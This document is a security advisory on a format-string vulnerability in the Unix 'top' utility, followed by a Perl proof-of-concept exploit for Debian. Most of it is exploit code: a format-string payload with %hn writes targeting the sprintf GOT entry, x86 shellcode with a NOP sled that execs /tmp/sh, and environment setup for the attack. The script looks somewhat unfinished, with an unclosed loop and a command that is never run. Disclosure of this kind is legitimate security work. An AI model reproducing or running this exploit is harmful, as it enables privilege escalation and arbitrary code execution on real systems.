Debian top - Format String







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top is a program used to display system usage statistics in real time written by GoupSys Consulting but shipped by default as a core component with many operating systems. On BSD systems, top is installed setgid kmem so that it may read process information from kernel memory if executed by a user who does not have that privilege.
top contains a format-string vulnerability that may lead to a compromise of effective groupid kmem on BSD systems (or similar privileges on other systems). The problem occurs in the printing of error messages to a users terminal. A string partially composed of user input (the error message) is passed to a printf() function as the format string argument, allowing malicious format specifiers in user input to corrupt stack variables and execute arbitrary code.
If a malicious user gains egid kmem, vital information can be read from the kernel memory that may lead to a further elevation of privileges (most certainly root eventually).
The versions of top that ships with FreeBSD prior to 4.2 are known to be vulnerable. It is likely that other systems are vulnerable (though none are confirmed yet).

# PoC for DMA[2005-0103a].txt
# Copyright Kevin Finisterre
# 12/12/2004
# William LeFebvre - unixtop 'kill' format string
# Tested on Debian GNU/Linux 3.1 with top compiled from 
# top-3.5.tar.gz
# This currently DOES NOT work outside of strace. 
# /tmp/sh is run for the time being. 

# offsets definately vary within gdb, strace and just plain top
# this is probably due to the use of the env for our write address
$fmt = "%.49149d.%180\$hn.%.15825d.%181\$hn";  # offset within strace

# The length of shellcode affects the offset for our %x's
# Obviously this is because the env is used to store the write address
$sc = "\x90" x (511-45) . # subtract shellcode len

# 45 bytes by anthema. 0xff less
"\x89\xe6"     . #                     /* movl %esp, %esi          */
"\x83\xc6\x30" . #                     /* addl $0x30, %esi         */
#"\xb8\x2e\x62\x69\x6e" . # /bin      /* movl $0x6e69622e, %eax   */
"\xb8\x2e\x74\x6D\x70" . # /tmp        /* movl $0x6e69622e, %eax   */
"\x40"         . #                     /* incl %eax                */
"\x89\x06"     . #                     /* movl %eax, (%esi)        */
"\xb8\x2e\x73\x68\x21" . # /sh           /* movl $0x2168732e, %eax   */
"\x40"         . #                    /* incl %eax                */
"\x89\x46\x04" . #                    /* movl %eax, 0x04(%esi)    */
"\x29\xc0"     . #                    /* subl %eax, %eax          */
"\x88\x46\x07" . #                    /* movb %al, 0x07(%esi)     */
"\x89\x76\x08" . #                    /* movl %esi, 0x08(%esi)    */
"\x89\x46\x0c" . #                    /* movl %eax, 0x0c(%esi)    */
"\xb0\x0b"     . #                     /* movb $0x0b, %al          */
"\x87\xf3"     . #                     /* xchgl %esi, %ebx         */
"\x8d\x4b\x08" . #                     /* leal 0x08(%ebx), %ecx    */
"\x8d\x53\x0c" . #                      /* leal 0x0c(%ebx), %edx    */
"\xcd\x80"; #                          /* int $0x80                */

$topcmd = "k $fmt";  # Use the top kill command

# Lazy hack to pass input to top. 
# Write to file "ex" and feed to top via < 
open(FILEH, ">ex") or die "sorry can't write cmd file.\n";
print FILEH $topcmd;

# Clear out the environment.
# Thanks John!
foreach $key (keys %ENV) {

    delete $ENV{$key};

# Is the env *really* clear when we run system()? 

# sprintf() is called after the new_message() call so lets overwrite it
# 0804f340 R_386_JUMP_SLOT   sprintf
$addr1 = "\x42\xf3\x04\x08";
$addr2 = "\x40\xf3\x04\x08";

# Digital Munitions R0x your b0x. 
# set up some padding, insert write addresses and follow up with shellcode
$ENV{"DMR0x"} = "AZZZZZZZ$addr1$addr2$sc";
$ENV{"TERM"} = "linux";
$ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin";

# Run top and feed it the file "ex" which contains the malicious kill command
# This saves us from typing like we had to do with Seo's exploit 
$topexec = "cat ex | strace -i ./top";